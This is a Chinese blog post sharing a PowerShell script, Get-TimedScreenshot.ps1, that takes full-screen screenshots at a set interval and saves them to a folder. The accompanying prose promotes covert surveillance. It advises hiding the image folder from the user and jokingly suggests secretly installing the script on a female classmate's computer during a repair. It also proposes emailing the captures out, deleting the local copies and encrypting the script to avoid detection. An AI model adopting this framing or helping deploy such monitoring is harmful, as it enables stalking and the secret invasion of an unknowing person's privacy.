PowerShell小技巧之定时抓取屏幕图像
昨天的博文写了定时记录操作系统行为,其实说白了就是抓取了击键的记录和对应窗口的标题栏,而很多应用程序标题栏又包含当时记录的文件路径和文件名,用这种方式可以大致记录操作了哪些程序,打开了哪些文件,以及敲击了哪些按键。事实上这样记录操作系统的行为显得相对单薄一点,因为记录的内容不太形象,对于新手来说太过于隐晦了,对于人类来说,图像会比文字更加有利于用户理解。当操作系统不方便装屏幕记录软件,但又需要看已经登录用户在干什么的时候,用PowerShell的脚本来实现定时抓取图像的方式记录操作,查看图像就知道登陆用户做了什么,当然你存放图片的目录要隐蔽,不要让用户发现了为好。
当然对于在学校计算机系的屌丝们,这个功能也可以用来了解自己的女神有什么喜好了。什么?咋把脚本安装到女神的电脑里?咋把抓的图片返回给你?拜托,这么简单的问题,还需要我帮你找答案么?女神的电脑坏了,通常都会找一个熟悉电脑软硬件的计算机系的童鞋来修的,修的时候悄悄动点手脚。图片返回的问题呢,完全可以定时抓取,然后抓取一定数量之后打包发到指定邮箱,然后删除本地图片嘛。什么?不知道PowerShell咋发邮件…你妹的,用System.Net.Mail.MailMessage组件调用SMTP发送邮件你不会?我以前写过类似文章的…好吧,送佛送到西,自己去看吧《使用PowerShell通过Smtp发送邮件》。还有就是写的脚本务必要加密,至于加密方式方法嘛,改天吧,改天专门写一篇文章写关于PowerShell脚本加密,这种事情嘛,如果被女神发现鸟,那可是吃不了兜着走的事啊。还有出去别告诉别人,我给你出的这主意,还有隐私的东西,自己把握好度,如果警察蜀黍请你去喝茶了可就不好玩了。本故事纯属虚构,如有雷同纯属巧合,本人只提供创意,如果具体实施被女神打破头,或者被警察蜀黍请去喝茶了,本人概不负任何法律责任哈。嘿嘿,不多扯了,先上今天的定时抓取屏幕图像的方法。
其实方法不复杂,写了一个抓取屏幕的函数,定时执行,将抓取的图片存入指定位置,如果达到终止的时间,结束执行.代码不复杂,有看不懂的兄弟可以留言,我帮你解答。
接下来上代码:
=====文件名:Get-TimedScreenshot.ps1===== functionGet-TimedScreenshot{ <# Author:fuhj(powershell#live.cn,http://fuhaijun.com) Takesscreenshotsataregularintervalandsavesthemtodisk. .PARAMETERPath Specifiesthefolderpath. .PARAMETERInterval Specifiestheintervalinsecondsbetweentakingscreenshots. .ParameterEndTime SpecifieswhenthescriptshouldstoprunningintheformatHH-MM .Example Get-TimedScreenshot-Pathc:\temp\-Interval30-EndTime14:00 #>
[CmdletBinding()]Param( [Parameter(Mandatory=$True)] [ValidateScript({Test-Path-Path$_})] [String]$Path,
[Parameter(Mandatory=$True)] [Int32]$Interval,
[Parameter(Mandatory=$True)] [String]$EndTime )
#Definehelperfunctionthatgeneratesandsavesscreenshot FunctionGet-Screenshot{ $ScreenBounds=[Windows.Forms.SystemInformation]::VirtualScreen $ScreenshotObject=New-ObjectDrawing.Bitmap$ScreenBounds.Width,$ScreenBounds.Height $DrawingGraphics=[Drawing.Graphics]::FromImage($ScreenshotObject) $DrawingGraphics.CopyFromScreen($ScreenBounds.Location,[Drawing.Point]::Empty,$ScreenBounds.Size) $DrawingGraphics.Dispose() $ScreenshotObject.Save($FilePath) $ScreenshotObject.Dispose() } Try{
#loadrequiredassembly Add-Type-AssemblySystem.Windows.Forms
Do{ #getthecurrenttimeandbuildthefilenamefromit $Time=(Get-Date)
[String]$FileName="$($Time.Month)" $FileName+='-' $FileName+="$($Time.Day)" $FileName+='-' $FileName+="$($Time.Year)" $FileName+='-' $FileName+="$($Time.Hour)" $FileName+='-' $FileName+="$($Time.Minute)" $FileName+='-' $FileName+="$($Time.Second)" $FileName+='.png'
#usejoin-pathtoaddpathtofilename [String]$FilePath=(Join-Path$Path$FileName)
#runscreenshotfunction Get-Screenshot
Write-Verbose"Savedscreenshotto$FilePath.Sleepingfor$Intervalseconds"
Start-Sleep-Seconds$Interval }
#notethatthiswillrunonceregardlessifthespecifiedtimeaspassed While((Get-Date-FormatHH:mm)-lt$EndTime) }
Catch{Write-Error$Error[0].ToString()+$Error[0].InvocationInfo.PositionMessage} }